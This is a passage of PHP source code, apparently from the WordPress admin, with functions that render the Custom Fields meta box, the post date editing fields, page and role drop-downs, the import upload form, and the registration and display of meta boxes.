 * Outputs 'undo move to Trash' text for comments.
 *
 * @since 2.9.0
 */
function wp_comment_trashnotice() {
	?>
<div class="hidden" id="trash-undo-holder">
	<div class="trash-undo-inside">
		<?php
		/* translators: %s: Comment author, filled by Ajax. */
		printf( __( 'Comment by %s moved to the Trash.' ), '<strong></strong>' );
		?>
		<span class="undo untrash"><a href="#"><?php _e( 'Undo' ); ?></a></span>
	</div>
</div>
<div class="hidden" id="spam-undo-holder">
	<div class="spam-undo-inside">
		<?php
		/* translators: %s: Comment author, filled by Ajax. */
		printf( __( 'Comment by %s marked as spam.' ), '<strong></strong>' );
		?>
		<span class="undo unspam"><a href="#"><?php _e( 'Undo' ); ?></a></span>
	</div>
</div>
	<?php
}

/**
 * Outputs a post's public meta data in the Custom Fields meta box.
 *
 * @since 1.2.0
 *
 * @param array[] $meta An array of meta data arrays keyed on 'meta_key' and 'meta_value'.
 */
function list_meta( $meta ) {
	// Exit if no meta.
	if ( ! $meta ) {
		echo '
<table id="list-table" style="display: none;">
	<thead>
	<tr>
		<th class="left">' . _x( 'Name', 'meta name' ) . '</th>
		<th>' . __( 'Value' ) . '</th>
	</tr>
	</thead>
	<tbody id="the-list" data-wp-lists="list:meta">
	<tr><td></td></tr>
	</tbody>
</table>'; // TBODY needed for list-manipulation JS.
		return;
	}
	$count = 0;
	?>
<table id="list-table">
	<thead>
	<tr>
		<th class="left"><?php _ex( 'Name', 'meta name' ); ?></th>
		<th><?php _e( 'Value' ); ?></th>
	</tr>
	</thead>
	<tbody id='the-list' data-wp-lists='list:meta'>
	<?php
	foreach ( $meta as $entry ) {
		echo _list_meta_row( $entry, $count );
	}
	?>
	</tbody>
</table>
	<?php
}

/**
 * Outputs a single row of public meta data in the Custom Fields meta box.
 *
 * @since 2.5.0
 *
 * @param array $entry An array of meta data keyed on 'meta_key' and 'meta_value'.
 * @param int   $count Reference to the row number.
 * @return string A single row of public meta data.
 */
function _list_meta_row( $entry, &$count ) {
	static $update_nonce = '';

	if ( is_protected_meta( $entry['meta_key'], 'post' ) ) {
		return '';
	}

	if ( ! $update_nonce ) {
		$update_nonce = wp_create_nonce( 'add-meta' );
	}

	$r = '';
	++$count;

	if ( is_serialized( $entry['meta_value'] ) ) {
		if ( is_serialized_string( $entry['meta_value'] ) ) {
			// This is a serialized string, so we should display it.
			$entry['meta_value'] = maybe_unserialize( $entry['meta_value'] );
		} else {
			// This is a serialized array/object so we should NOT display it.
			--$count;
			return '';
		}
	}

	$entry['meta_key']   = esc_attr( $entry['meta_key'] );
	$entry['meta_value'] = esc_textarea( $entry['meta_value'] ); // Using a <textarea />.
	$entry['meta_id']    = (int) $entry['meta_id'];

	$delete_nonce = wp_create_nonce( 'delete-meta_' . $entry['meta_id'] );

	$r .= "\n\t<tr id='meta-{$entry['meta_id']}'>";
	$r .= "\n\t\t<td class='left'><label class='screen-reader-text' for='meta-{$entry['meta_id']}-key'>" .
		/* translators: Hidden accessibility text. */
		__( 'Key' ) .
	"</label><input name='meta[{$entry['meta_id']}][key]' id='meta-{$entry['meta_id']}-key' type='text' size='20' value='{$entry['meta_key']}' />";

	$r .= "\n\t\t<div class='submit'>";
	$r .= get_submit_button( __( 'Delete' ), 'deletemeta small', "deletemeta[{$entry['meta_id']}]", false, array( 'data-wp-lists' => "delete:the-list:meta-{$entry['meta_id']}::_ajax_nonce=$delete_nonce" ) );
	$r .= "\n\t\t";
	$r .= get_submit_button( __( 'Update' ), 'updatemeta small', "meta-{$entry['meta_id']}-submit", false, array( 'data-wp-lists' => "add:the-list:meta-{$entry['meta_id']}::_ajax_nonce-add-meta=$update_nonce" ) );
	$r .= '</div>';
	$r .= wp_nonce_field( 'change-meta', '_ajax_nonce', false, false );
	$r .= '</td>';

	$r .= "\n\t\t<td><label class='screen-reader-text' for='meta-{$entry['meta_id']}-value'>" .
		/* translators: Hidden accessibility text. */
		__( 'Value' ) .
	"</label><textarea name='meta[{$entry['meta_id']}][value]' id='meta-{$entry['meta_id']}-value' rows='2' cols='30'>{$entry['meta_value']}</textarea></td>\n\t</tr>";
	return $r;
}

/**
 * Prints the form in the Custom Fields meta box.
 *
 * @since 1.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param WP_Post $post Optional. The post being edited.
 */
function meta_form( $post = null ) {
	global $wpdb;
	$post = get_post( $post );

	/**
	 * Filters values for the meta key dropdown in the Custom Fields meta box.
	 *
	 * Returning a non-null value will effectively short-circuit and avoid a
	 * potentially expensive query against postmeta.
	 *
	 * @since 4.4.0
	 *
	 * @param array|null $keys Pre-defined meta keys to be used in place of a postmeta query. Default null.
	 * @param WP_Post    $post The current post object.
	 */
	$keys = apply_filters( 'postmeta_form_keys', null, $post );

	if ( null === $keys ) {
		/**
		 * Filters the number of custom fields to retrieve for the drop-down
		 * in the Custom Fields meta box.
		 *
		 * @since 2.1.0
		 *
		 * @param int $limit Number of custom fields to retrieve. Default 30.
		 */
		$limit = apply_filters( 'postmeta_form_limit', 30 );

		$keys = $wpdb->get_col(
			$wpdb->prepare(
				"SELECT DISTINCT meta_key
				FROM $wpdb->postmeta
				WHERE meta_key NOT BETWEEN '_' AND '_z'
				HAVING meta_key NOT LIKE %s
				ORDER BY meta_key
				LIMIT %d",
				$wpdb->esc_like( '_' ) . '%',
				$limit
			)
		);
	}

	if ( $keys ) {
		natcasesort( $keys );
	}
	?>
<p><strong><?php _e( 'Add New Custom Field:' ); ?></strong></p>
<table id="newmeta">
<thead>
<tr>
<th class="left"><label for="metakeyselect"><?php _ex( 'Name', 'meta name' ); ?></label></th>
<th><label for="metavalue"><?php _e( 'Value' ); ?></label></th>
</tr>
</thead>

<tbody>
<tr>
<td id="newmetaleft" class="left">
	<?php if ( $keys ) { ?>
<select id="metakeyselect" name="metakeyselect">
<option value="#NONE#"><?php _e( '&mdash; Select &mdash;' ); ?></option>
		<?php
		foreach ( $keys as $key ) {
			if ( is_protected_meta( $key, 'post' ) || ! current_user_can( 'add_post_meta', $post->ID, $key ) ) {
				continue;
			}
			echo "\n<option value='" . esc_attr( $key ) . "'>" . esc_html( $key ) . '</option>';
		}
		?>
</select>
<input class="hidden" type="text" id="metakeyinput" name="metakeyinput" value="" aria-label="<?php _e( 'New custom field name' ); ?>" />
<button type="button" id="newmeta-button" class="button button-small hide-if-no-js" onclick="jQuery('#metakeyinput, #metakeyselect, #enternew, #cancelnew').toggleClass('hidden');jQuery('#metakeyinput, #metakeyselect').filter(':visible').trigger('focus');">
<span id="enternew"><?php _e( 'Enter new' ); ?></span>
<span id="cancelnew" class="hidden"><?php _e( 'Cancel' ); ?></span></button>
<?php } else { ?>
<input type="text" id="metakeyinput" name="metakeyinput" value="" />
<?php } ?>
</td>
<td><textarea id="metavalue" name="metavalue" rows="2" cols="25"></textarea>
	<?php wp_nonce_field( 'add-meta', '_ajax_nonce-add-meta', false ); ?>
</td>
</tr>
</tbody>
</table>
<div class="submit add-custom-field">
	<?php
	submit_button(
		__( 'Add Custom Field' ),
		'',
		'addmeta',
		false,
		array(
			'id'            => 'newmeta-submit',
			'data-wp-lists' => 'add:the-list:newmeta',
		)
	);
	?>
</div>
	<?php
}

/**
 * Prints out HTML form date elements for editing post or comment publish date.
 *
 * @since 0.71
 * @since 4.4.0 Converted to use get_comment() instead of the global `$comment`.
 *
 * @global WP_Locale $wp_locale WordPress date and time locale object.
 *
 * @param int|bool $edit      Accepts 1|true for editing the date, 0|false for adding the date.
 * @param int|bool $for_post  Accepts 1|true for applying the date to a post, 0|false for a comment.
 * @param int      $tab_index The tabindex attribute to add. Default 0.
 * @param int|bool $multi     Optional. Whether the additional fields and buttons should be added.
 *                            Default 0|false.
 */
function touch_time( $edit = 1, $for_post = 1, $tab_index = 0, $multi = 0 ) {
	global $wp_locale;
	$post = get_post();

	if ( $for_post ) {
		$edit = ! ( in_array( $post->post_status, array( 'draft', 'pending' ), true ) && ( ! $post->post_date_gmt || '0000-00-00 00:00:00' === $post->post_date_gmt ) );
	}

	$tab_index_attribute = '';
	if ( (int) $tab_index > 0 ) {
		$tab_index_attribute = " tabindex=\"$tab_index\"";
	}

	// @todo Remove this?
	// echo '<label for="timestamp" style="display: block;"><input type="checkbox" class="checkbox" name="edit_date" value="1" id="timestamp"'.$tab_index_attribute.' /> '.__( 'Edit timestamp' ).'</label><br />';

	$post_date = ( $for_post ) ? $post->post_date : get_comment()->comment_date;
	$jj        = ( $edit ) ? mysql2date( 'd', $post_date, false ) : current_time( 'd' );
	$mm        = ( $edit ) ? mysql2date( 'm', $post_date, false ) : current_time( 'm' );
	$aa        = ( $edit ) ? mysql2date( 'Y', $post_date, false ) : current_time( 'Y' );
	$hh        = ( $edit ) ? mysql2date( 'H', $post_date, false ) : current_time( 'H' );
	$mn        = ( $edit ) ? mysql2date( 'i', $post_date, false ) : current_time( 'i' );
	$ss        = ( $edit ) ? mysql2date( 's', $post_date, false ) : current_time( 's' );

	$cur_jj = current_time( 'd' );
	$cur_mm = current_time( 'm' );
	$cur_aa = current_time( 'Y' );
	$cur_hh = current_time( 'H' );
	$cur_mn = current_time( 'i' );

	$month = '<label><span class="screen-reader-text">' .
		/* translators: Hidden accessibility text. */
		__( 'Month' ) .
	'</span><select class="form-required" ' . ( $multi ? '' : 'id="mm" ' ) . 'name="mm"' . $tab_index_attribute . ">\n";
	for ( $i = 1; $i < 13; $i = $i + 1 ) {
		$monthnum  = zeroise( $i, 2 );
		$monthtext = $wp_locale->get_month_abbrev( $wp_locale->get_month( $i ) );
		$month    .= "\t\t\t" . '<option value="' . $monthnum . '" data-text="' . $monthtext . '" ' . selected( $monthnum, $mm, false ) . '>';
		/* translators: 1: Month number (01, 02, etc.), 2: Month abbreviation. */
		$month .= sprintf( __( '%1$s-%2$s' ), $monthnum, $monthtext ) . "</option>\n";
	}
	$month .= '</select></label>';

	$day = '<label><span class="screen-reader-text">' .
		/* translators: Hidden accessibility text. */
		__( 'Day' ) .
	'</span><input type="text" ' . ( $multi ? '' : 'id="jj" ' ) . 'name="jj" value="' . $jj . '" size="2" maxlength="2"' . $tab_index_attribute . ' autocomplete="off" class="form-required" /></label>';
	$year = '<label><span class="screen-reader-text">' .
		/* translators: Hidden accessibility text. */
		__( 'Year' ) .
	'</span><input type="text" ' . ( $multi ? '' : 'id="aa" ' ) . 'name="aa" value="' . $aa . '" size="4" maxlength="4"' . $tab_index_attribute . ' autocomplete="off" class="form-required" /></label>';
	$hour = '<label><span class="screen-reader-text">' .
		/* translators: Hidden accessibility text. */
		__( 'Hour' ) .
	'</span><input type="text" ' . ( $multi ? '' : 'id="hh" ' ) . 'name="hh" value="' . $hh . '" size="2" maxlength="2"' . $tab_index_attribute . ' autocomplete="off" class="form-required" /></label>';
	$minute = '<label><span class="screen-reader-text">' .
		/* translators: Hidden accessibility text. */
		__( 'Minute' ) .
	'</span><input type="text" ' . ( $multi ? '' : 'id="mn" ' ) . 'name="mn" value="' . $mn . '" size="2" maxlength="2"' . $tab_index_attribute . ' autocomplete="off" class="form-required" /></label>';

	echo '<div class="timestamp-wrap">';
	/* translators: 1: Month, 2: Day, 3: Year, 4: Hour, 5: Minute. */
	printf( __( '%1$s %2$s, %3$s at %4$s:%5$s' ), $month, $day, $year, $hour, $minute );

	echo '</div><input type="hidden" id="ss" name="ss" value="' . $ss . '" />';

	if ( $multi ) {
		return;
	}

	echo "\n\n";

	$map = array(
		'mm' => array( $mm, $cur_mm ),
		'jj' => array( $jj, $cur_jj ),
		'aa' => array( $aa, $cur_aa ),
		'hh' => array( $hh, $cur_hh ),
		'mn' => array( $mn, $cur_mn ),
	);

	foreach ( $map as $timeunit => $value ) {
		list( $unit, $curr ) = $value;

		echo '<input type="hidden" id="hidden_' . $timeunit . '" name="hidden_' . $timeunit . '" value="' . $unit . '" />' . "\n";
		$cur_timeunit = 'cur_' . $timeunit;
		echo '<input type="hidden" id="' . $cur_timeunit . '" name="' . $cur_timeunit . '" value="' . $curr . '" />' . "\n";
	}
	?>

<p>
<a href="#edit_timestamp" class="save-timestamp hide-if-no-js button"><?php _e( 'OK' ); ?></a>
<a href="#edit_timestamp" class="cancel-timestamp hide-if-no-js button-cancel"><?php _e( 'Cancel' ); ?></a>
</p>
	<?php
}

/**
 * Prints out option HTML elements for the page templates drop-down.
 *
 * @since 1.5.0
 * @since 4.7.0 Added the `$post_type` parameter.
 *
 * @param string $default_template Optional. The template file name. Default empty.
 * @param string $post_type        Optional. Post type to get templates for. Default 'page'.
 */
function page_template_dropdown( $default_template = '', $post_type = 'page' ) {
	$templates = get_page_templates( null, $post_type );

	ksort( $templates );

	foreach ( array_keys( $templates ) as $template ) {
		$selected = selected( $default_template, $templates[ $template ], false );
		echo "\n\t<option value='" . esc_attr( $templates[ $template ] ) . "' $selected>" . esc_html( $template ) . '</option>';
	}
}

/**
 * Prints out option HTML elements for the page parents drop-down.
 *
 * @since 1.5.0
 * @since 4.4.0 `$post` argument was added.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int         $default_page Optional. The default page ID to be pre-selected. Default 0.
 * @param int         $parent_page  Optional. The parent page ID. Default 0.
 * @param int         $level        Optional. Page depth level. Default 0.
 * @param int|WP_Post $post         Post ID or WP_Post object.
 * @return void|false Void on success, false if the page has no children.
 */
function parent_dropdown( $default_page = 0, $parent_page = 0, $level = 0, $post = null ) {
	global $wpdb;

	$post  = get_post( $post );
	$items = $wpdb->get_results(
		$wpdb->prepare(
			"SELECT ID, post_parent, post_title
			FROM $wpdb->posts
			WHERE post_parent = %d AND post_type = 'page'
			ORDER BY menu_order",
			$parent_page
		)
	);

	if ( $items ) {
		foreach ( $items as $item ) {
			// A page cannot be its own parent.
			if ( $post && $post->ID && (int) $item->ID === $post->ID ) {
				continue;
			}

			$pad      = str_repeat( '&nbsp;', $level * 3 );
			$selected = selected( $default_page, $item->ID, false );

			echo "\n\t<option class='level-$level' value='$item->ID' $selected>$pad " . esc_html( $item->post_title ) . '</option>';
			parent_dropdown( $default_page, $item->ID, $level + 1 );
		}
	} else {
		return false;
	}
}

/**
 * Prints out option HTML elements for role selectors.
 *
 * @since 2.1.0
 *
 * @param string $selected Slug for the role that should be already selected.
 */
function wp_dropdown_roles( $selected = '' ) {
	$r = '';

	$editable_roles = array_reverse( get_editable_roles() );

	foreach ( $editable_roles as $role => $details ) {
		$name = translate_user_role( $details['name'] );
		// Preselect specified role.
		if ( $selected === $role ) {
			$r .= "\n\t<option selected='selected' value='" . esc_attr( $role ) . "'>$name</option>";
		} else {
			$r .= "\n\t<option value='" . esc_attr( $role ) . "'>$name</option>";
		}
	}

	echo $r;
}

/**
 * Outputs the form used by the importers to accept the data to be imported.
 *
 * @since 2.0.0
 *
 * @param string $action The action attribute for the form.
 */
function wp_import_upload_form( $action ) {

	/**
	 * Filters the maximum allowed upload size for import files.
	 *
	 * @since 2.3.0
	 *
	 * @see wp_max_upload_size()
	 *
	 * @param int $max_upload_size Allowed upload size. Default 1 MB.
	 */
	$bytes      = apply_filters( 'import_upload_size_limit', wp_max_upload_size() );
	$size       = size_format( $bytes );
	$upload_dir = wp_upload_dir();
	if ( ! empty( $upload_dir['error'] ) ) :
		$upload_directory_error  = '<p>' . __( 'Before you can upload your import file, you will need to fix the following error:' ) . '</p>';
		$upload_directory_error .= '<p><strong>' . $upload_dir['error'] . '</strong></p>';
		wp_admin_notice(
			$upload_directory_error,
			array(
				'additional_classes' => array( 'error' ),
				'paragraph_wrap'     => false,
			)
		);
	else :
		?>
<form enctype="multipart/form-data" id="import-upload-form" method="post" class="wp-upload-form" action="<?php echo esc_url( wp_nonce_url( $action, 'import-upload' ) ); ?>">
<p>
		<?php
		printf(
			'<label for="upload">%s</label> (%s)',
			__( 'Choose a file from your computer:' ),
			/* translators: %s: Maximum allowed file size. */
			sprintf( __( 'Maximum size: %s' ), $size )
		);
		?>
<input type="file" id="upload" name="import" size="25" />
<input type="hidden" name="action" value="save" />
<input type="hidden" name="max_file_size" value="<?php echo $bytes; ?>" />
</p>
		<?php submit_button( __( 'Upload file and import' ), 'primary' ); ?>
</form>
		<?php
	endif;
}

/**
 * Adds a meta box to one or more screens.
 *
 * @since 2.5.0
 * @since 4.4.0 The `$screen` parameter now accepts an array of screen IDs.
 *
 * @global array $wp_meta_boxes
 *
 * @param string                 $id            Meta box ID (used in the 'id' attribute for the meta box).
 * @param string                 $title         Title of the meta box.
 * @param callable               $callback      Function that fills the box with the desired content.
 *                                              The function should echo its output.
 * @param string|array|WP_Screen $screen        Optional. The screen or screens on which to show the box
 *                                              (such as a post type, 'link', or 'comment'). Accepts a single
 *                                              screen ID, WP_Screen object, or array of screen IDs. Default
 *                                              is the current screen.  If you have used add_menu_page() or
 *                                              add_submenu_page() to create a new screen (and hence screen_id),
 *                                              make sure your menu slug conforms to the limits of sanitize_key()
 *                                              otherwise the 'screen' menu may not correctly render on your page.
 * @param string                 $context       Optional. The context within the screen where the box
 *                                              should display. Available contexts vary from screen to
 *                                              screen. Post edit screen contexts include 'normal', 'side',
 *                                              and 'advanced'. Comments screen contexts include 'normal'
 *                                              and 'side'. Menus meta boxes (accordion sections) all use
 *                                              the 'side' context. Global default is 'advanced'.
 * @param string                 $priority      Optional. The priority within the context where the box should show.
 *                                              Accepts 'high', 'core', 'default', or 'low'. Default 'default'.
 * @param array                  $callback_args Optional. Data that should be set as the $args property
 *                                              of the box array (which is the second parameter passed
 *                                              to your callback). Default null.
 */
function add_meta_box( $id, $title, $callback, $screen = null, $context = 'advanced', $priority = 'default', $callback_args = null ) {
	global $wp_meta_boxes;

	if ( empty( $screen ) ) {
		$screen = get_current_screen();
	} elseif ( is_string( $screen ) ) {
		$screen = convert_to_screen( $screen );
	} elseif ( is_array( $screen ) ) {
		foreach ( $screen as $single_screen ) {
			add_meta_box( $id, $title, $callback, $single_screen, $context, $priority, $callback_args );
		}
	}

	if ( ! isset( $screen->id ) ) {
		return;
	}

	$page = $screen->id;

	if ( ! isset( $wp_meta_boxes ) ) {
		$wp_meta_boxes = array();
	}
	if ( ! isset( $wp_meta_boxes[ $page ] ) ) {
		$wp_meta_boxes[ $page ] = array();
	}
	if ( ! isset( $wp_meta_boxes[ $page ][ $context ] ) ) {
		$wp_meta_boxes[ $page ][ $context ] = array();
	}

	foreach ( array_keys( $wp_meta_boxes[ $page ] ) as $a_context ) {
		foreach ( array( 'high', 'core', 'default', 'low' ) as $a_priority ) {
			if ( ! isset( $wp_meta_boxes[ $page ][ $a_context ][ $a_priority ][ $id ] ) ) {
				continue;
			}

			// If a core box was previously removed, don't add.
			if ( ( 'core' === $priority || 'sorted' === $priority )
				&& false === $wp_meta_boxes[ $page ][ $a_context ][ $a_priority ][ $id ]
			) {
				return;
			}

			// If a core box was previously added by a plugin, don't add.
			if ( 'core' === $priority ) {
				/*
				 * If the box was added with default priority, give it core priority
				 * to maintain sort order.
				 */
				if ( 'default' === $a_priority ) {
					$wp_meta_boxes[ $page ][ $a_context ]['core'][ $id ] = $wp_meta_boxes[ $page ][ $a_context ]['default'][ $id ];
					unset( $wp_meta_boxes[ $page ][ $a_context ]['default'][ $id ] );
				}
				return;
			}

			// If no priority given and ID already present, use existing priority.
			if ( empty( $priority ) ) {
				$priority = $a_priority;
				/*
				 * Else, if we're adding to the sorted priority, we don't know the title
				 * or callback. Grab them from the previously added context/priority.
				 */
			} elseif ( 'sorted' === $priority ) {
				$title         = $wp_meta_boxes[ $page ][ $a_context ][ $a_priority ][ $id ]['title'];
				$callback      = $wp_meta_boxes[ $page ][ $a_context ][ $a_priority ][ $id ]['callback'];
				$callback_args = $wp_meta_boxes[ $page ][ $a_context ][ $a_priority ][ $id ]['args'];
			}

			// An ID can be in only one priority and one context.
			if ( $priority !== $a_priority || $context !== $a_context ) {
				unset( $wp_meta_boxes[ $page ][ $a_context ][ $a_priority ][ $id ] );
			}
		}
	}

	if ( empty( $priority ) ) {
		$priority = 'low';
	}

	if ( ! isset( $wp_meta_boxes[ $page ][ $context ][ $priority ] ) ) {
		$wp_meta_boxes[ $page ][ $context ][ $priority ] = array();
	}

	$wp_meta_boxes[ $page ][ $context ][ $priority ][ $id ] = array(
		'id'       => $id,
		'title'    => $title,
		'callback' => $callback,
		'args'     => $callback_args,
	);
}


/**
 * Renders a "fake" meta box with an information message,
 * shown on the block editor, when an incompatible meta box is found.
 *
 * @since 5.0.0
 *
 * @param mixed $data_object The data object being rendered on this screen.
 * @param array $box         {
 *     Custom formats meta box arguments.
 *
 *     @type string   $id           Meta box 'id' attribute.
 *     @type string   $title        Meta box title.
 *     @type callable $old_callback The original callback for this meta box.
 *     @type array    $args         Extra meta box arguments.
 * }
 */
function do_block_editor_incompatible_meta_box( $data_object, $box ) {
	$plugin  = _get_plugin_from_callback( $box['old_callback'] );
	$plugins = get_plugins();
	echo '<p>';
	if ( $plugin ) {
		/* translators: %s: The name of the plugin that generated this meta box. */
		printf( __( 'This meta box, from the %s plugin, is not compatible with the block editor.' ), "<strong>{$plugin['Name']}</strong>" );
	} else {
		_e( 'This meta box is not compatible with the block editor.' );
	}
	echo '</p>';

	if ( empty( $plugins['classic-editor/classic-editor.php'] ) ) {
		if ( current_user_can( 'install_plugins' ) ) {
			$install_url = wp_nonce_url(
				self_admin_url( 'plugin-install.php?tab=favorites&user=wordpressdotorg&save=0' ),
				'save_wporg_username_' . get_current_user_id()
			);

			echo '<p>';
			/* translators: %s: A link to install the Classic Editor plugin. */
			printf( __( 'Please install the <a href="%s">Classic Editor plugin</a> to use this meta box.' ), esc_url( $install_url ) );
			echo '</p>';
		}
	} elseif ( is_plugin_inactive( 'classic-editor/classic-editor.php' ) ) {
		if ( current_user_can( 'activate_plugins' ) ) {
			$activate_url = wp_nonce_url(
				self_admin_url( 'plugins.php?action=activate&plugin=classic-editor/classic-editor.php' ),
				'activate-plugin_classic-editor/classic-editor.php'
			);

			echo '<p>';
			/* translators: %s: A link to activate the Classic Editor plugin. */
			printf( __( 'Please activate the <a href="%s">Classic Editor plugin</a> to use this meta box.' ), esc_url( $activate_url ) );
			echo '</p>';
		}
	} elseif ( $data_object instanceof WP_Post ) {
		$edit_url = add_query_arg(
			array(
				'classic-editor'         => '',
				'classic-editor__forget' => '',
			),
			get_edit_post_link( $data_object )
		);
		echo '<p>';
		/* translators: %s: A link to use the Classic Editor plugin. */
		printf( __( 'Please open the <a href="%s">classic editor</a> to use this meta box.' ), esc_url( $edit_url ) );
		echo '</p>';
	}
}

/**
 * Internal helper function to find the plugin from a meta box callback.
 *
 * @since 5.0.0
 *
 * @access private
 *
 * @param callable $callback The callback function to check.
 * @return array|null The plugin that the callback belongs to, or null if it doesn't belong to a plugin.
 */
function _get_plugin_from_callback( $callback ) {
	try {
		if ( is_array( $callback ) ) {
			$reflection = new ReflectionMethod( $callback[0], $callback[1] );
		} elseif ( is_string( $callback ) && str_contains( $callback, '::' ) ) {
			$reflection = new ReflectionMethod( $callback );
		} else {
			$reflection = new ReflectionFunction( $callback );
		}
	} catch ( ReflectionException $exception ) {
		// We could not properly reflect on the callable, so we abort here.
		return null;
	}

	// Don't show an error if it's an internal PHP function.
	if ( ! $reflection->isInternal() ) {

		// Only show errors if the meta box was registered by a plugin.
		$filename   = wp_normalize_path( $reflection->getFileName() );
		$plugin_dir = wp_normalize_path( WP_PLUGIN_DIR );

		if ( str_starts_with( $filename, $plugin_dir ) ) {
			$filename = str_replace( $plugin_dir, '', $filename );
			$filename = preg_replace( '|^/([^/]*/).*$|', '\\1', $filename );

			$plugins = get_plugins();

			foreach ( $plugins as $name => $plugin ) {
				if ( str_starts_with( $name, $filename ) ) {
					return $plugin;
				}
			}
		}
	}

	return null;
}

/**
 * Meta-Box template function.
 *
 * @since 2.5.0
 *
 * @global array $wp_meta_boxes
 *
 * @param string|WP_Screen $screen      The screen identifier. If you have used add_menu_page() or
 *                                      add_submenu_page() to create a new screen (and hence screen_id)
 *                                      make sure your menu slug conforms to the limits of sanitize_key()
 *                                      otherwise the 'screen' menu may not correctly render on your page.
 * @param string           $context     The screen context for which to display meta boxes.
 * @param mixed            $data_object Gets passed to the meta box callback function as the first parameter.
 *                                      Often this is the object that's the focus of the current screen,
 *                                      for example a `WP_Post` or `WP_Comment` object.
 * @return int Number of meta_boxes.
 */
function do_meta_boxes( $screen, $context, $data_object ) {
	global $wp_meta_boxes;
	static $already_sorted = false;

	if ( empty( $screen ) ) {
		$screen = get_current_screen();
	} elseif ( is_string( $screen ) ) {
		$screen = convert_to_screen( $screen );
	}

	$page = $screen->id;

	$hidden = get_hidden_meta_boxes( $screen );

	printf( '<div id="%s-sortables" class="meta-box-sortables">', esc_attr( $context ) );

	/*
	 * Grab the ones the user has manually sorted.
	 * Pull them out of their previous context/priority and into the one the user chose.
	 */
	$sorted = get_user_option( "meta-box-order_$page" );

	if ( ! $already_sorted && $sorted ) {
		foreach ( $sorted as $box_context => $ids ) {
			foreach ( explode( ',', $ids ) as $id ) {
				if ( $id && 'dashboard_browser_nag' !== $id ) {
					add_meta_box( $id, null, null, $screen, $box_context, 'sorted' );
				}
			}
		}
	}

	$already_sorted = true;

	$i = 0;

	if ( isset( $wp_meta_boxes[ $page ][ $context ] ) ) {
		foreach ( array( 'high', 'sorted', 'core', 'default', 'low' ) as $priority ) {
			if ( isset( $wp_meta_boxes[ $page ][ $context ][ $priority ] ) ) {
				foreach ( (array) $wp_meta_boxes[ $page ][ $context ][ $priority ] as $box ) {
					if ( false === $box || ! $box['title'] ) {
						continue;
					}

					$block_compatible = true;
					if ( is_array( $box['args'] ) ) {
						// If a meta box is just here for back compat, don't show it in the block editor.
						if ( $screen->is_block_editor() && isset( $box['args']['__back_compat_meta_box'] ) && $box['args']['__back_compat_meta_box'] ) {
							continue;
						}

						if ( isset( $box['args']['__block_editor_compatible_meta_box'] ) ) {
							$block_compatible = (bool) $box['args']['__block_editor_compatible_meta_box'];
							unset( $box['args']['__block_editor_compatible_meta_box'] );
						}

						// If the meta box is declared as incompatible with the block editor, override the callback function.
						if ( ! $block_compatible && $screen->is_block_editor() ) {
							$box['old_callback'] = $box['callback'];
							$box['callback']     = 'do_block_editor_incompatible_meta_box';
						}

						if ( isset( $box['args']['__back_compat_meta_box'] ) ) {
							$block_compatible = $block_compatible || (bool) $box['args']['__back_compat_meta_box'];
							unset( $box['args']['__back_compat_meta_box'] );
						}
					}

					++$i;
					// get_hidden_meta_boxes() doesn't apply in the block editor.
					$hidden_class = ( ! $screen->is_block_editor() && in_array( $box['id'], $hidden, true ) ) ? ' hide-if-js' : '';
					echo '<div id="' . $box['id'] . '" class="postbox ' . postbox_classes( $box['id'], $page ) . $hidden_class . '" ' . '>' . "\n";

					echo '<div class="postbox-header">';
					echo '<h2 class="hndle">';
					if ( 'dashboard_php_nag' === $box['id'] ) {
						echo '<span aria-hidden="true" class="dashicons dashicons-warning"></span>';
						echo '<span class="screen-reader-text">' .
							/* translators: Hidden accessibility text. */
							__( 'Warning:' ) .
						' </span>';
					}
					echo $box['title'];
					echo "</h2>\n";

					if ( 'dashboard_browser_nag' !== $box['id'] ) {
						$widget_title = $box['title'];

						if ( is_array( $box['args'] ) && isset( $box['args']['__widget_basename'] ) ) {
							$widget_title = $box['args']['__widget_basename'];
							// Do not pass this parameter to the user callback function.
							unset( $box['args']['__widget_basename'] );
						}

						echo '<div class="handle-actions hide-if-no-js">';

						echo '<button type="button" class="handle-order-higher" aria-disabled="false" aria-describedby="' . $box['id'] . '-handle-order-higher-description">';
						echo '<span class="screen-reader-text">' .
							/* translators: Hidden accessibility text. */
							__( 'Move up' ) .
						'</span>';
						echo '<span class="order-higher-indicator" aria-hidden="true"></span>';
						echo '</button>';
						echo '<span class="hidden" id="' . $box['id'] . '-handle-order-higher-description">' . sprintf(
							/* translators: %s: Meta box title. */
							__( 'Move %s box up' ),
							$widget_title
						) . '</span>';

						echo '<button type="button" class="handle-order-lower" aria-disabled="false" aria-describedby="' . $box['id'] . '-handle-order-lower-description">';
						echo '<span class="screen-reader-text">' .
							/* translators: Hidden accessibility text. */
							__( 'Move down' ) .
						'</span>';
						echo '<span class="order-lower-indicator" aria-hidden="true"></span>';
						echo '</button>';
						echo '<span class="hidden" id="' . $box['id'] . '-handle-order-lower-description">' . sprintf(
							/* translators: %s: Meta box title. */
							__( 'Move %s box down' ),
							$widget_title
						) . '</span>';

						echo '<button type="button" class="handlediv" aria-expanded="true">';
						echo '<span class="screen-reader-text">' . sprintf(
							/* translators: %s: Hidden accessibility text. Meta box title. */
							__( 'Toggle panel: %s' ),
							$widget_title
						) . '</span>';
						echo '<span class="toggle-indicator" aria-hidden="true"></span>';
						echo '</button>';

						echo '</div>';
					}
					echo '</div>';

					echo '<div class="inside">' . "\n";

					if ( WP_DEBUG && ! $block_compatible && 'edit' === $screen->parent_base && ! $screen->is_block_editor() && ! isset( $_GET['meta-box-loader'] ) ) {
						$plugin = _get_plugin_from_callback( $box['callback'] );
						if ( $plugin ) {
							$meta_box_not_compatible_message = sprintf(
								/* translators: %s: The name of the plugin that generated this meta box. */
								__( 'This meta box, from the %s plugin, is not compatible with the block editor.' ),
								"<strong>{$plugin['Name']}</strong>"
							);
							wp_admin_notice(
								$meta_box_not_compatible_message,
								array(
									'additional_classes' => array( 'error', 'inline' ),
								)
							);
						}
					}

					call_user_func( $box['callback'], $data_object, $box );
					echo "</div>\n";
					echo "</div>\n";
				}
			}
		}
	}

	echo '</div>';

	return $i;
}

/**
 * Removes a meta box from one or more screens.
 *
 * @since 2.6.0
 * @since 4.4.0 The `$screen` parameter now accepts an array of screen IDs.
 *
 * @global array $wp_meta_boxes
 *
 * @param string                 $id      Meta box ID (used in the 'id' attribute for the meta box).
 * @param string|array|WP_Screen $screen  The screen or screens on which the meta box is shown (such as a
